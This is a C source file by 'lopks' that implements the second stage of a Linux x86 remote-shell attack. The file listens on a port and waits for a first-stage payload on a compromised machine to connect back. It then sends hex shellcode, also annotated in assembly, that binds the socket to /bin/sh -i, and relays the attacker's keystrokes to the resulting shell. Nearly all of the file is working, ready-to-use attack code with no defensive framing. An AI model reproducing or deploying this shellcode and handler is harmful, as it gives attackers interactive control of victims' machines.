/* II part of shellcode made by lopks
 * this is the code that must be read and executed 
 * by connect-read-exec-63-byte.c 
 * for getting a shell */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

/*
 * shellcode
 * 
#       dup2(sock,0-1-2);
# sock is in %ebx

             xor  %ecx, %ecx
	     xor  %eax, %eax
             mov  $0x3f,%al  # 0x3f = SYS_dup2()
             int  $0x80
             inc  %ecx
             cmp  $0x3, %ecx
             jne  -0xc       

#       char *argv[]= { \"/bin/sh\",
#                       \"-i\",    only if defined INTERACTIVE
#                       NULL };
#       execve(argv[0],argv,NULL);                             
             xor %eax, %eax
# if defined INTERACTIVE
             push %eax                 # null-terminator
             pushw $0x692d             # -i for interactive shell
             mov  %esp, %ecx           # name[1]
# end if
             push %eax                 # null-terminator
             push $0x68732f6e          # hs/n
             push $0x69622f2f          # ib//
             mov %esp,%ebx             # name[0]
             xor %edx, %edx
             push %edx                 # name[2]
# if defined INTERACTIVE
             push %ecx                 # name[1]
# end if
             push %ebx                 # name[0]
             mov %esp, %ecx            # **name
             movb $0xb, %al            # execve
             int $0x80                 # kernel-mode
             xor %eax, %eax
             movb  $0x01, %al          # exit      
             int $0x80
*/                                 

#define INTERACTIVE   /* you want interactive shell? */
#define PORT   0xdead   /* listening port */

/* if you #define WITH_EXIT in the other file, sizeof(this_shellcode)
 * must be egual to SIZE_GET_SHELLCODE,(also that defined in the other file) */

char shellcode[0x0123]=   /* 0x0123 is only an example, 
			     you can use any code you want */   
"\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf4\x31\xc0"
#ifdef INTERACTIVE
        "\x50\x66\x68\x2d\x69\x89\xe1"
#endif
"\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x52"
#ifdef INTERACTIVE
        "\x51"
#endif
"\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";     

main(){

	struct sockaddr_in sin;
	int ret,len,sock,new_sock;
	char buf[8192];
	fd_set r_set;

	memset(&sin, 0, sizeof(sin));
	
	sin.sin_family=AF_INET;
	sin.sin_port  =htons(PORT) ;
	sin.sin_addr.s_addr=htonl(INADDR_ANY);
	
	sock=socket(AF_INET,SOCK_STREAM,0);
	if (sock==-1){
		perror("socket()");
		exit(0);
	}
	if((bind(sock,(struct sockaddr*)&sin,sizeof(sin)))==-1){
		perror("bind()");
		exit(0);
	}
	if((listen(sock,1))==-1){
			perror("listen()");
			exit(0);
	}
 	new_sock=accept(sock, NULL, NULL);
	if(new_sock==-1){
		perror("accept()");
		exit(0);
	}
	
	printf("Shell Found!\n");	

	write(new_sock, shellcode, sizeof(shellcode));

next:
	
        FD_ZERO(&r_set);
	
	FD_SET(0,&r_set);
	FD_SET(new_sock,&r_set);

	ret=select(new_sock+1,&r_set,NULL,NULL,NULL);
	if ((ret==-1)||(ret==0)) exit(0);
	
	
        if (FD_ISSET(new_sock,&r_set)){
		len=read(new_sock,buf,sizeof(buf));
                if ((len==-1)||(len==0)) exit(0);
                write(1,buf,len);
	}                                             
	
        if (FD_ISSET(0,&r_set)){
                len=read(0,buf,sizeof(buf));
                if (len==-1) exit(0);
                write(new_sock,buf,len);
	}
	goto next;
}
